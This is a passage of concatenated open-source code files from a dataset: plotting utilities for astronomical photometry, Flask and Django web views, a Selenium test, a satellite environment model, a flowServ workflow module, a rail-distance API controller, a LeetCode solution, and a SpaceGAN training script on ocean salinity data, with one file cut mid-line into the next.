threshold, vmax = 100, origin = 'lower')\n\n if filename:\n plt.savefig(filename)\n if show:\n plt.show()\n\n plt.close(fig)\n\n\n\n\ndef make_significance_plots(imgs, threshold = 2.5):\n\n n = len(imgs)\n\n fig, axes = plt.subplots(1, n, figsize = (4*n,4))\n plt.subplots_adjust(left=0, top=1, bottom=0, right=1, wspace=0.01, hspace=0.0)\n\n for ax, (filter, img) in zip(axes, imgs.items()):\n\n sig = (img.sci/img.noise)\n\n ax.set_axis_off()\n ax.imshow(sig, cmap = cm.Greys, vmin = -5.0, vmax = 5.0, origin = 'lower')\n ax.imshow(np.ma.masked_where(sig <= threshold, sig), cmap = cm.plasma, vmin = threshold, vmax = 100, origin = 'lower')\n\n plt.show()\n plt.close(fig)\n\n\n\n\ndef make_segm_plot(segm, imsize = 1, filename = False, show = False):\n\n fig, ax = plt.subplots(1, 1, figsize = (imsize,imsize))\n\n plt.subplots_adjust(left=0, top=1, bottom=0, right=1, wspace=0.0, hspace=0.0)\n\n new_cmap = rand_cmap(int(np.max(segm)), type='bright', first_color_black=True, last_color_black=False, verbose=False)\n\n ax.imshow(segm, cmap = new_cmap, origin = 'lower')\n\n ax.set_axis_off()\n\n if filename:\n plt.savefig(filename)\n if show:\n plt.show()\n\n plt.close(fig)\n\n\n\ndef make_plots(imgs, threshold = 2.5, signficance_plot = False, filter_label = False, filename = False, show = False, use_vmax = True, fixed_range = False, imsize = 1, frame = True):\n\n n = len(imgs)\n\n if show:\n imsize = 4\n else:\n imsize = imsize\n\n if hasattr(next(iter(imgs.values())), 'sci'):\n fig, axes = plt.subplots(1, n, figsize = (n*imsize,1*imsize), dpi = next(iter(imgs.values())).sci.shape[0])\n else:\n fig, axes = plt.subplots(1, n, figsize = (n*imsize,1*imsize))\n\n plt.subplots_adjust(left=0, top=1, bottom=0, right=1, wspace=0.0, hspace=0.0)\n\n if type(signficance_plot) != list: signficance_plot = [signficance_plot]*n\n\n if hasattr(next(iter(imgs.values())), 'sci'):\n if fixed_range:\n vmax = np.max([np.max(img.sci) for img in imgs.values()])\n else:\n if fixed_range:\n vmax = np.max([np.max(img) for img in imgs.values()])\n\n\n for ax, (filter, img), sig_plot in zip(axes, imgs.items(), signficance_plot):\n\n if frame:\n ax.get_xaxis().set_ticks([])\n ax.get_yaxis().set_ticks([])\n else:\n ax.set_axis_off()\n\n if filter_label: ax.text(0.5, 0.9, filter, horizontalalignment='center', verticalalignment='center', transform=ax.transAxes, fontsize = 8, color = '1.0')\n\n if sig_plot:\n\n sig = (img.sci/img.noise)\n\n ax.imshow(sig, cmap = cm.Greys, vmin = -5.0, vmax = 5.0, origin = 'lower')\n ax.imshow(np.ma.masked_where(sig <= threshold, sig), cmap = cm.plasma, vmin = threshold, vmax = 100, origin = 'lower')\n\n else:\n\n new_cmap = rand_cmap(np.max(img), type='bright', first_color_black=True, last_color_black=False, verbose=False)\n\n if fixed_range:\n vmin = 0.0\n else:\n vmin = None\n vmax = None\n\n if hasattr(img, 'sci'):\n ax.imshow(img.sci, cmap = cm.viridis, origin = 'lower', vmin = vmin, vmax = vmax)\n else:\n ax.imshow(img, cmap = new_cmap, origin = 'lower', vmin = vmin, vmax = vmax) # --- assumes img is just a 2D array\n\n\n\n\n if filename:\n plt.savefig(filename)\n if show:\n plt.show()\n\n plt.close(fig)\n\n\n\ndef rand_cmap(nlabels, type='bright', first_color_black=True, last_color_black=False, verbose=True):\n \"\"\"\n Creates a random colormap to be used together with matplotlib. Useful for segmentation tasks\n :param nlabels: Number of labels (size of colormap)\n :param type: 'bright' for strong colors, 'soft' for pastel colors\n :param first_color_black: Option to use first color as black, True or False\n :param last_color_black: Option to use last color as black, True or False\n :param verbose: Prints the number of labels and shows the colormap. True or False\n :return: colormap for matplotlib\n \"\"\"\n from matplotlib.colors import LinearSegmentedColormap\n import colorsys\n\n\n\n if type not in ('bright', 'soft'):\n print ('Please choose \"bright\" or \"soft\" for type')\n return\n\n if verbose:\n print('Number of labels: ' + str(nlabels))\n\n # Generate color map for bright colors, based on hsv\n if type == 'bright':\n randHSVcolors = [(np.random.uniform(low=0.0, high=1),\n np.random.uniform(low=0.2, high=1),\n np.random.uniform(low=0.9, high=1)) for i in range(nlabels)]\n\n # Convert HSV list to RGB\n randRGBcolors = []\n for HSVcolor in randHSVcolors:\n randRGBcolors.append(colorsys.hsv_to_rgb(HSVcolor[0], HSVcolor[1], HSVcolor[2]))\n\n if first_color_black:\n randRGBcolors[0] = [0, 0, 0]\n\n if last_color_black:\n randRGBcolors[-1] = [0, 0, 0]\n\n random_colormap = LinearSegmentedColormap.from_list('new_map', randRGBcolors, N=nlabels)\n\n # Generate soft pastel colors, by limiting the RGB spectrum\n if type == 'soft':\n low = 0.6\n high = 0.95\n randRGBcolors = [(np.random.uniform(low=low, high=high),\n np.random.uniform(low=low, high=high),\n np.random.uniform(low=low, high=high)) for i in range(nlabels)]\n\n if first_color_black:\n randRGBcolors[0] = [0, 0, 0]\n\n if last_color_black:\n randRGBcolors[-1] = [0, 0, 0]\n random_colormap = LinearSegmentedColormap.from_list('new_map', randRGBcolors, N=nlabels)\n\n # Display colorbar\n if verbose:\n from matplotlib import colors, colorbar\n from matplotlib import pyplot as plt\n fig, ax = plt.subplots(1, 1, figsize=(15, 0.5))\n\n bounds = np.linspace(0, nlabels, nlabels + 1)\n norm = colors.BoundaryNorm(bounds, nlabels)\n\n cb = colorbar.ColorbarBase(ax, cmap=random_colormap, norm=norm, spacing='proportional', ticks=None,\n boundaries=bounds, format='%1i', orientation=u'horizontal')\n\n return random_colormap\n\n\ndef COG_plots(Properties, ModelProperties = False, filename = False, show = False):\n\n nfilters = len(Properties)\n\n fig, axes = plt.subplots(1, nfilters, figsize = (3*(nfilters),3), dpi = 200)\n\n plt.subplots_adjust(left=0.025, top=0.85, bottom=0.2, right=0.9, wspace=0.2, hspace=0.0)\n\n for ax, (filter, properties) in zip(axes, Properties.items()):\n\n ax.set_title(filter, fontsize = 10)\n\n ax.plot(properties['photometry']['aperture'].radii, properties['photometry']['aperture'].flux, c = '0.5', label = 'curve-of-growth')\n ax.axvline(properties['photometry']['aperture'].optimum_radius, color = '0.5', alpha = 0.5)\n\n if ModelProperties is not False:\n\n ax.axhline(ModelProperties[filter]['photometry']['total'].flux, color = '0.5', alpha = 0.5, ls = ':')\n ax.plot(ModelProperties[filter]['photometry']['aperture'].radii, ModelProperties[filter]['photometry']['aperture'].flux, c = '0.5', ls = ':', label = 'true curve-of-growth')\n\n\n\n del properties['photometry']['aperture']\n\n color_idx = np.linspace(0, 1, len(properties['photometry']))\n\n for c_idx, (phot_type, p) in zip(color_idx, properties['photometry'].items()):\n\n ax.axhline(p.flux, label = phot_type, color = cm.viridis(c_idx))\n ax.axhspan(p.flux-p.error, p.flux+p.error, color = cm.viridis(c_idx), alpha=0.5)\n if phot_type == 'optimum_aperture': ax.axvline(p.radius, color = cm.viridis(c_idx), alpha = 0.5)\n\n ax.legend(bbox_to_anchor=(1.1, 1.0), fontsize = 8)\n\n if filename:\n plt.savefig(filename)\n if show:\n plt.show()\n\n plt.close(fig)\n\n\n\ndef SED_plot(Properties, ModelProperties = False, FilterInfo = False, phot_type = 'optimum_aperture', filename = False, show = False):\n\n\n # if not FilterInfo:\n\n fig, ax = plt.subplots(1, 1, figsize = (3,2), dpi = 200)\n plt.subplots_adjust(left=0.2, top=0.85, bottom=0.25, right=0.9, wspace=0.2, hspace=0.0)\n\n color_idx = np.linspace(0, 1, len(Properties))\n\n for c_idx, (filter, properties) in zip(color_idx, Properties.items()):\n\n pivwv = FilterInfo[filter].pivwv()/1E4\n\n ax.scatter(pivwv, properties['photometry'][phot_type].flux, color = cm.viridis(c_idx))\n ax.plot([pivwv]*2, [properties['photometry'][phot_type].flux - properties['photometry'][phot_type].error, properties['photometry'][phot_type].flux + properties['photometry'][phot_type].error], color = 'k', lw = 1)\n\n if ModelProperties is not False:\n\n ax.scatter(pivwv, ModelProperties[filter]['photometry']['total'].flux, color = cm.viridis(c_idx), alpha = 0.5)\n\n\n\n ax.set_xlabel(r'$\\lambda/\\mu m$')\n ax.set_ylabel(r'$f_{\\nu}/nJy$')\n\n if filename:\n plt.savefig(filename)\n if show:\n plt.show()\n\n plt.close(fig)\n\n\n\n\ndef size_plot(img, p, ExclusionMask, threshold = 2.5, signficance_plot = False, filename = False, show = False, add_contours = False):\n\n\n width = img.sci.shape[0]\n\n fig, ax = plt.subplots(1, 1, figsize = (3,3), dpi = width*2)\n plt.subplots_adjust(left=0, top=1, bottom=0, right=1, wspace=0.01, hspace=0.0)\n\n ax.set_axis_off()\n\n sig = (img.sci/img.noise)\n\n ax.imshow(sig, cmap = cm.Greys, vmin = -5.0, vmax = 5.0, origin = 'lower')\n ax.imshow(np.ma.masked_where(sig <= threshold, sig), cmap = cm.plasma, vmin = threshold, vmax = 100, origin = 'lower')\n\n k = 2.5\n\n # --- make mask image including Kron Mask and Exclusion mask\n x = np.linspace(-(width//2), (width//2), width)\n X, Y = np.meshgrid(x, x)\n R2 = X**2 + Y**2\n alpha = np.zeros(img.sci.shape)\n alpha[R2>(k*p['kron_radius'])**2] = 1\n alpha[img.sci 0 and \\\n request.args.get('start_date') != \"undefined\":\n start_date_string = request.args.get('start_date')\n if 'end_date' in request.args and \\\n len(request.args.get('end_date')) > 0 and \\\n request.args.get('end_date') != \"undefined\":\n end_date_string = request.args.get('end_date')\n\n return end_date_string, start_date_string\n\n\ndef parse_dates_from_request():\n end_date_string, start_date_string = parse_dates_as_str_from_request()\n # noinspection PyBroadException\n try:\n start_date = datetime.datetime.strptime(start_date_string, '%Y-%m-%d')\n end_date = datetime.datetime.strptime(end_date_string, '%Y-%m-%d')\n except Exception:\n abort(400, 'Start and end dates must be valid. Dates must be in the form of YYYY-MM-DD.')\n return\n\n return end_date, start_date\n\n\nbp = Blueprint('system', __name__, url_prefix='/system')\napi_groups = ['admins']\n\n\n@route(bp, '/error_email_test')\n@login_required\n@groups_required(api_groups, all=False)\ndef error_email_test():\n errors.email_exception(app, Exception(\"test\"))\n return {'status':'ok'}\n","sub_path":"taa/api/api_helpers.py","file_name":"api_helpers.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"158961448","text":"import time\r\n\r\n\r\ndef test_button_add_to_busket(browser):\r\n link = f\"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\r\n browser.get(link)\r\n \r\n button = browser.find_element_by_css_selector(\"#add_to_basket_form > button\")\r\n #button.klick()\r\n time.sleep(10)\r\n \r\ndef test_button_text(browser):\r\n\r\n link = f\"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\r\n browser.get(link)\r\n try:\r\n button = browser.find_element_by_xpath(\"//button[text()='Add to basket']\")\r\n \r\n \r\n except:\r\n button = browser.find_element_by_css_selector(\"#add_to_basket_form > button\")\r\n \r\n if True:\r\n assert button == True, \"Кнопка есть, проверьте название на английском\"\r\n \r\n\r\n ","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"373355999","text":"from django.shortcuts import render, redirect\nfrom django.http import Http404\nfrom .funcs import Books\nfrom .forms import SearchBarFilters\n\n# class init\nbooks = Books()\n\ndef index(request):\n context = {\n \"title\": \"LibraLive: Каталог\",\n \"popular_books\": books.get_6_most_popular(),\n \"latest_books\": books.get_6_latest(),\n \"filters\": SearchBarFilters\n }\n if request.method == \"POST\":\n form = SearchBarFilters(request.POST)\n if form.is_valid():\n return redirect(search)\n return render(request, \"library/index.html\", context)\n\ndef search(request):\n requested_books = books.apply_filters(request.POST)\n context = {\n \"title\": \"LibraLive: Результаты поиска\",\n \"requested_books\": requested_books,\n \"filters\": SearchBarFilters\n }\n return render(request, \"library/search.html\", context)\n\ndef book(request, book_id):\n requested_book = books.get_by_id(book_id)\n if not requested_book:\n raise Http404()\n context = {\n \"title\": f\"LibraLive: Книга: {requested_book.title}\",\n \"book\": requested_book,\n }\n return render(request, \"library/book.html\", context)\n\ndef download(request, book_id):\n if request.method == \"POST\" and book_id:\n books.registrate_download(book_id)\n raise Http404()\n\ndef about(request):\n return render(request, \"library/about.html\", {\"title\": \"LibraLive: О нас\"})\n\ndef not_found(request, exception):\n return render(request, \"library/404.html\", {\"title\": \"LibraLive: Не найдено\"})\n","sub_path":"LibraLive/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"352762470","text":"\nfrom .MagEnv import MagEnv\nfrom .AtmophericModel.EarthModel import EarthModel\n\n\nclass Environment(MagEnv, EarthModel):\n def __init__(self, environment_properties):\n MagEnv.__init__(self, environment_properties['MAG'])\n EarthModel.__init__(self)\n\n self.env_mag_flag = environment_properties['MAG']['mag_calculation']\n self.env_srp_flag = environment_properties['SRP']['srp_calculation']\n self.env_atm_flag = environment_properties['ATM']['atm_calculation']\n\n print('\\nEnvironment properties')\n print('------------------------------')\n print('Magnetic: ' + str(self.env_mag_flag))\n print('Solar radiation: ' + str(self.env_srp_flag))\n print('Atmosphere: ' + str(self.env_atm_flag))\n print('------------------------------')\n\n def update(self, decyear, dynamics):\n sideral = dynamics.ephemeris.selected_planet.current_sideral\n lat = dynamics.trajectory.current_lat\n lon = dynamics.trajectory.current_long\n alt = dynamics.trajectory.current_alt\n q_i2b = dynamics.attitude.current_quaternion_i2b\n if self.env_mag_flag:\n self.calc_mag(decyear, sideral, lat, lon, alt, q_i2b)\n if self.env_atm_flag:\n self.calc_atmospferic_data(alt)\n\n\n\n\n","sub_path":"Environments/Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"429186519","text":"# This file is part of the Reproducible and Reusable Data Analysis Workflow\n# Server (flowServ).\n#\n# Copyright (C) 2019-2020 NYU.\n#\n# flowServ is free software; you can redistribute it and/or modify it under the\n# terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Helper class to execute workflow templates that follow the syntax of the\nREANA serial workflow specifications.\n\"\"\"\n\nimport os\n\nfrom string import Template\n\nimport flowserv.error as err\nimport flowserv.model.template.parameter as tp\n\n\nclass Step(object):\n \"\"\"List of command line statements that are executed in a given\n environment. The environment can, for example, specify a Docker image.\n \"\"\"\n def __init__(self, env, commands=None):\n \"\"\"Initialize the object properties.\n\n Parameters\n ----------\n env: string\n Execution environment name\n commands: list(string), optional\n List of command line statements\n \"\"\"\n self.env = env\n self.commands = commands if commands is not None else list()\n\n def add(self, cmd):\n \"\"\"Append a given command line statement to the list of commands in the\n workflow step.\n\n Parameters\n ----------\n cmd: string\n Command line statement\n\n Returns\n -------\n flowserv.model.template.step.Step\n \"\"\"\n self.commands.append(cmd)\n return self\n\n\nclass SerialWorkflow(object):\n \"\"\"Wrapper around a workflow template for serial workflow specifications\n that are following the basic structure of REANA serial workflows.\n\n The methods to get the list of commands, output files and upload files are\n modeled as properties to avoid confusion with the same properties for the\n remote workflow handle.\n \"\"\"\n def __init__(self, template, arguments):\n \"\"\"Initialize the object properties.\n\n Parameters\n ----------\n template: flowserv.model.template.base.WorkflowTemplate\n Workflow template containing the parameterized specification and\n the parameter declarations\n arguments: dict\n Dictionary of argument values for parameters in the template. Maps\n the parameter identifier to the provided argument value.\n \"\"\"\n self.template = template\n self.arguments = arguments\n\n def commands(self):\n \"\"\"Get expanded commands from template workflow specification. The\n commands within each step of the serial workflow specification are\n expanded for the given set of arguments and appended to the result\n list of commands.\n\n Returns\n -------\n list(flowserv.model.template.step.Step)\n\n Raises\n ------\n flowserv.error.InvalidTemplateError\n flowserv.error.MissingArgumentError\n \"\"\"\n workflow_spec = self.template.workflow_spec\n # Get the input/parameters dictionary from the workflow specification\n # and replace all references to template parameters with the given\n # arguments or default values.\n workflow_parameters = tp.replace_args(\n spec=workflow_spec.get('inputs', {}).get('parameters', {}),\n arguments=self.arguments,\n parameters=self.template.parameters\n )\n # Add any workflow argument that is not contained in the modified\n # parameter list as a workflow parameter that is available for\n # replacement.\n for key in self.arguments:\n if key not in workflow_parameters:\n workflow_parameters[key] = str(self.arguments[key])\n # Add all command stings in workflow steps to result after replacing\n # references to parameters\n result = list()\n spec = workflow_spec.get('workflow', {}).get('specification', {})\n for step in spec.get('steps', []):\n env = step.get('environment')\n if tp.is_parameter(env):\n env = workflow_parameters[tp.NAME(env)]\n script = Step(env=env)\n for cmd in step.get('commands', []):\n if tp.is_parameter(cmd):\n cmd = workflow_parameters[tp.NAME(cmd)]\n script.add(Template(cmd).substitute(workflow_parameters))\n result.append(script)\n return result\n\n def output_files(self):\n \"\"\"Replace references to template parameters in the list of output\n files in the workflow specification.\n\n Returns\n -------\n list(string)\n\n Raises\n ------\n flowserv.error.InvalidTemplateError\n flowserv.error.MissingArgumentError\n \"\"\"\n workflow_spec = self.template.workflow_spec\n return tp.replace_args(\n spec=workflow_spec.get('outputs', {}).get('files', {}),\n arguments=self.arguments,\n parameters=self.template.parameters\n )\n\n def upload_files(self):\n \"\"\"Get a list of all input files from the workflow specification that\n need to be uploaded for a new workflow run.\n\n Returns a list of tuples containing the full path to the source file on\n local disk and the relative target path for the uploaded file.\n\n Raises errors if a parameter value is missing or if an unknown source\n file is referenced.\n\n Returns\n -------\n list((string, string))\n\n Raises\n ------\n flowserv.error.MissingArgumentError\n flowserv.error.UnknownFileError\n \"\"\"\n workflow_spec = self.template.workflow_spec\n basedir = self.template.sourcedir\n files = workflow_spec.get('inputs', {}).get('files', [])\n result = list()\n for val in files:\n # Set source and target values depending on whether the list\n # entry references a template parameter or not.\n if tp.is_parameter(val):\n # If the value in the files listing is a parameter it is\n # assumed that this is a file parameter. If no argument value\n # is given for the parameter a default value will be used as\n # source and target path.\n var = tp.NAME(val)\n para = self.template.parameters.get(var)\n arg = self.arguments.get(var)\n if arg is None:\n if para.default_value is None:\n raise err.MissingArgumentError(var)\n source = os.path.join(basedir, para.default_value)\n target = para.default_value\n else:\n # Get path to source file and the target path from the\n # input file handle.\n source = arg.source()\n target = arg.target()\n else:\n source = os.path.join(basedir, val)\n target = val\n # Add upload file source and target path to the result list.\n result.append((source, target))\n return result\n","sub_path":"flowserv/model/workflow/serial.py","file_name":"serial.py","file_ext":"py","file_size_in_byte":7025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"263361931","text":"from flask import request,json,Response,Blueprint\nfrom ..model.rail_model import RailModel,RailSchema\nfrom ..utils.data_reader import DataReader\nfrom ..utils.shared_response import SharedResponse\nimport traceback\nimport logging\n\nlogger=logging.getLogger(__name__+\".rail_controller\")\ndata_reader=DataReader()\nrail_schema=RailSchema()\nclass RailController:\n\n def refresh():\n try:\n data_reader=DataReader()\n return SharedResponse.success_response({\"message\":\"Data refreshed Successfully\"})\n except Exception as err:\n logger.error(err)\n traceback.print_exc()\n return SharedResponse.server_error_response()\n\n def get_all():\n\n try:\n rail_data_frame=data_reader.get_all()\n rail_list=[]\n size=rail_data_frame.shape[0]\n\n for i in range(0,size):\n rail_model=RailModel(rail_data_frame.iloc[i])\n rail_list.append(rail_model)\n \n serialize_rail_model=rail_schema.dump(rail_list,many=True)\n \n\n return SharedResponse.success_response(serialize_rail_model)\n \n except Exception as err:\n logger.error(err)\n traceback.print_exc()\n return SharedResponse.server_error_response()\n \n\n \n def get_all_by_station_name_pattern(station_name):\n\n try:\n if station_name is None :\n return SharedResponse.validation_error_response()\n rail_data_frame=data_reader.get_all_by_station_name_pattern(station_name)\n rail_list=[]\n size=rail_data_frame.shape[0]\n for i in range(0,size):\n rail_model=RailModel(rail_data_frame.iloc[i])\n rail_list.append(rail_model)\n \n serialize_rail_model=rail_schema.dump(rail_list,many=True)\n \n\n return SharedResponse.success_response(serialize_rail_model)\n\n except Exception as err:\n logger.error(err)\n traceback.print_exc()\n return SharedResponse.server_error_response()\n\n def get_distance(from_station_code,to_station_code):\n\n try:\n \n if from_station_code is None or to_station_code is None:\n return SharedResponse.validation_error_response()\n\n from_rail_data_frame=data_reader.get_by_station_code(from_station_code)\n to_rail_data_frame=data_reader.get_by_station_code(to_station_code)\n\n from_rail_data_frame_size=from_rail_data_frame.shape[0]\n to_rail_data_frame_size=to_rail_data_frame.shape[0]\n\n if from_rail_data_frame_size==0 or to_rail_data_frame_size==0 :\n return SharedResponse.id_not_found_error_response()\n \n response_message_list=[]\n for i in range(from_rail_data_frame_size):\n for j in range(to_rail_data_frame_size):\n if from_rail_data_frame.iloc[i]['Connection']==to_rail_data_frame.iloc[j]['Connection']:\n distance=abs(from_rail_data_frame.iloc[i]['Distance in Kms']-to_rail_data_frame.iloc[j]['Distance in Kms'])\n response_message={\"from\":from_station_code,\"to\":to_station_code,\"Distance in Kms\":round(distance,2),\"Connection\":to_rail_data_frame.iloc[j]['Connection']}\n response_message_list.append(response_message)\n \n\n if len(response_message_list)==0:\n return SharedResponse.common_line_not_found_error_response()\n \n return SharedResponse.success_response(response_message)\n \n\n except Exception as err:\n logger.error(err)\n traceback.print_exc()\n return SharedResponse.server_error_response()\n \n","sub_path":"src/controller/rail_controller.py","file_name":"rail_controller.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"173161855","text":"class Solution:\n def canJump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n leftest = len(nums) - 1\n for i in range(len(nums) - 2, -1, -1):\n if i + nums[i] >= leftest:\n leftest = i\n return leftest == 0\n","sub_path":"0055_JumpGame.py","file_name":"0055_JumpGame.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"487210668","text":"import matplotlib\nmatplotlib.use('Agg')\n\nimport pandas as pd\nimport numpy as np\nimport esda\n# import pysal\nimport libpysal\nimport torch\nimport torch.nn as nn\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, RobustScaler, QuantileTransformer\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n# from IPython.display import display, clear_output\nimport warnings\n\nwarnings.simplefilter(\"ignore\")\nimport pdb\nimport sys\nsys.path.append('src')\nfrom spacegan_method import SpaceGAN\nfrom spacegan_selection import get_spacegan_config, compute_metrics\nfrom spacegan_utils import gaussian, rmse, mad, pearsoncorr, mie, moranps, mase_1, mape, smape, eool, msis_1, get_neighbours_featurize\nfrom spacegan_config import Generator, Discriminator\n\n# %matplotlib inline\nfig_save_prefix = 'img/'\n\n# dataset\ndf = pd.read_csv(\"data/raw_data.csv\",nrows=101) # already dropped position_key column\ncoord_vars = [\"longitude\", \"latitude\"] #Define spatial coordinates\ncond_vars = ['unix_time', 'depth', 'conductivity', 'density', 'temperature'] + coord_vars #Define the predictor variables\ncont_vars = ['unix_time', 'depth', 'conductivity', 'density', 'temperature', 'salinity'] + coord_vars #Define which neighbour features to use as context variables\noutput_vars = ['salinity'] #Define output...just to see if it works\nneighbours = 50\n\n# plotting observed house value distrubution at lon-lat location\nfig, ax1 = plt.subplots(1, 1, figsize=(7, 5))\ngen_seq = df[[\"salinity\"]].values.astype(float)\nnorm_gan_mean = (gen_seq - min(gen_seq)) / (max(gen_seq) - min(gen_seq))\ncolors = cm.rainbow(norm_gan_mean)\n\n# plotting\nfor lat, long, c in zip(df[\"latitude\"], df[\"longitude\"], colors):\n ax1.scatter(lat, long, color=c, s=5) # s denotes marker size\n \nax1.set_xlabel(r'$c^{(1)}$', fontsize=14)\nax1.set_ylabel(r'$c^{(2)}$', fontsize=14)\nax1.set_title(\"Observed\")\nfig.savefig(fig_save_prefix+'p1_noaa.png')\n\n\n\n# problem configuration\nprob_config = {\"epochs\": 3000,\n \"batch_size\": 100,\n \"device\": torch.device(\"cuda\"),\n \"cond_dim\": len(cond_vars) + (neighbours * len(cont_vars)), # conditional information size\n \"output_dim\": len(output_vars), # size of output\n \"noise_dim\": len(cond_vars) + (neighbours * len(cont_vars)), # size of noise\n \"noise_type\": gaussian, # type of noise and dimension used\n \"noise_params\": None, # other params for noise (loc, scale, etc.) pass as a dict\n \"scale_x\": StandardScaler(), # a sklearn.preprocessing scaling method\n \"scale_y\": StandardScaler(), # a sklearn.preprocessing scaling method\n \"print_results\": False,\n # additional Generator params\n \"gen_opt\": torch.optim.SGD,\n \"gen_opt_params\": {\"lr\": 0.01},\n # additional Discriminator params\n \"disc_opt\": torch.optim.SGD,\n \"disc_opt_params\": {\"lr\": 0.01},\n # loss function\n \"adversarial_loss\": torch.nn.BCELoss()\n }\n\n# checkpointing configuration\ncheck_config = {\n \"check_interval\": 100, # for model checkpointing\n \"generate_image\": False,\n \"n_samples\": 50,\n \"perf_metrics\": {\"RMSE\": rmse,\n \"MIE\": mie,\n },\n \"pf_metrics_setting\": {\n \"RMSE\": {\"metric_level\": \"agg_metrics\",\n \"rank_function\": np.argmin,\n \"agg_function\": lambda x: np.array(x)\n },\n \"MIE\": {\"metric_level\": \"agg_metrics\",\n \"rank_function\": np.argmin,\n \"agg_function\": lambda x: np.array(x)\n },\n },\n \"agg_funcs\": {\"avg\": np.mean,\n \"std\": np.std\n },\n \"sample_metrics\": False,\n \"agg_metrics\": True\n}\n\nmodel_save_prefix = 'saved_models/noaa/'\n\n# train the model\n\n# neighbours\ndf, neighbour_list = get_neighbours_featurize(df, coord_vars, cont_vars, neighbours)\n\n# data structures\ntarget = df[output_vars].values\ncond_input = df[cond_vars + neighbour_list].values\ncoord_input = df[coord_vars].values\nprob_config[\"output_labels\"] = output_vars\nprob_config[\"input_labels\"] = cond_vars + neighbour_list\n\n# pre-instantiation\ndisc_method = Discriminator(prob_config[\"output_dim\"], prob_config[\"cond_dim\"])\ndisc_method.to(prob_config[\"device\"])\ngen_method = Generator(prob_config[\"cond_dim\"], prob_config[\"noise_dim\"], prob_config[\"output_dim\"])\ngen_method.to(prob_config[\"device\"])\n\n# training SpaceGAN\nspacegan = SpaceGAN(prob_config, check_config, disc_method, gen_method)\nspacegan.train(x_train=cond_input, y_train=target, coords=coord_input)\n\n# export final model and data\nspacegan.checkpoint_model(spacegan.epochs) \nspacegan.df_losses.to_pickle(model_save_prefix+\"grid_spaceganlosses.pkl.gz\")\n\n\n\n# pick the best Generator (G) as determined by the MIE and the RMSE criterion.\n\n# computing metrics\ngan_metrics = compute_metrics(target, cond_input, prob_config, check_config, coord_input, neighbours)\n\n# selecting and sampling gan\nfor criteria in list(check_config[\"perf_metrics\"].keys()):\n # find best config\n criteria_info = check_config[\"pf_metrics_setting\"][criteria]\n perf_metrics = gan_metrics[criteria_info[\"metric_level\"]]\n perf_values = criteria_info[\"agg_function\"](perf_metrics[[criteria]])\n best_config = perf_metrics.index[criteria_info[\"rank_function\"](perf_values)]\n\n # get and set best space gan\n best_spacegan = get_spacegan_config(int(best_config), prob_config, check_config, cond_input, target)\n # training samples\n gan_samples_df = pd.DataFrame(index=range(cond_input.shape[0]), columns=cond_vars + neighbour_list + output_vars)\n gan_samples_df[cond_vars + neighbour_list] = cond_input\n gan_samples_df[output_vars] = target\n for i in range(check_config[\"n_samples\"]):\n gan_samples_df[\"sample_\" + str(i)] = best_spacegan.predict(gan_samples_df[cond_vars + neighbour_list])\n\n # export results\n gan_samples_df.to_pickle(model_save_prefix+\"grid_\" + criteria + \".pkl.gz\")\ngan_metrics[\"agg_metrics\"].to_pickle(model_save_prefix+\"grid_checkmetrics.pkl.gz\")\n\n\n\n# plot the results!\n\n# show highlights\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))\ngan_metrics[\"agg_metrics\"].plot(ax=ax1)\n\n# generate chart\ngen_seq = gan_samples_df[[\"sample_\" + str(x) for x in range(50)]].mean(axis=1)\nnorm_gan_mean = (gen_seq - min(gen_seq)) / (max(gen_seq) - min(gen_seq))\ncolors = cm.rainbow(norm_gan_mean)\n\n# plotting\nfor lat, long, c in zip(df[\"latitude\"], df[\"longitude\"], colors):\n ax2.scatter(lat, long, color=c, s=5)\nax2.set_xlabel(r'$c^{(1)}$', fontsize=14)\nax2.set_ylabel(r'$c^{(2)}$', fontsize=14)\nax2.set_title(\"SpaceGAN - Best \" + criteria)\nfig.savefig(fig_save_prefix+'p2_noaa.png')\n\n\n# plot the best generator after RMSE selection\n\n#load rmse selection results\ngan_samples_df = pd.read_pickle(model_save_prefix+\"grid_RMSE.pkl.gz\")\n# gan_samples_df = pd.read_pickle(\"./grid_RMSE.pkl.gz\") \n\n# show highlights\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))\ngan_metrics[\"agg_metrics\"].plot(ax=ax1)\n\n# generate chart\ngen_seq = gan_samples_df[[\"sample_\" + str(x) for x in range(20)]].mean(axis=1)\nnorm_gan_mean = (gen_seq - min(gen_seq)) / (max(gen_seq) - min(gen_seq))\ncolors = cm.rainbow(norm_gan_mean)\n\n# plotting\nfor lat, long, c in zip(df[\"latitude\"], df[\"longitude\"], colors):\n ax2.scatter(lat, long, color=c, s=5)\nax2.set_xlabel(r'$c^{(1)}$', fontsize=14)\nax2.set_ylabel(r'$c^{(2)}$', fontsize=14)\nax2.set_title(\"SpaceGAN - Best RMSE\")\nfig.savefig(fig_save_prefix+'p3_noaa.png')\n\n\n# selection\n\n# iteration = 8000\niteration = 1000\n\n# get and set best space gan\niter_spacegan = get_spacegan_config(iteration, prob_config, check_config, cond_input, target)\n\n# training samples\ngan_samples_df = pd.DataFrame(index=range(cond_input.shape[0]), columns=cond_vars + 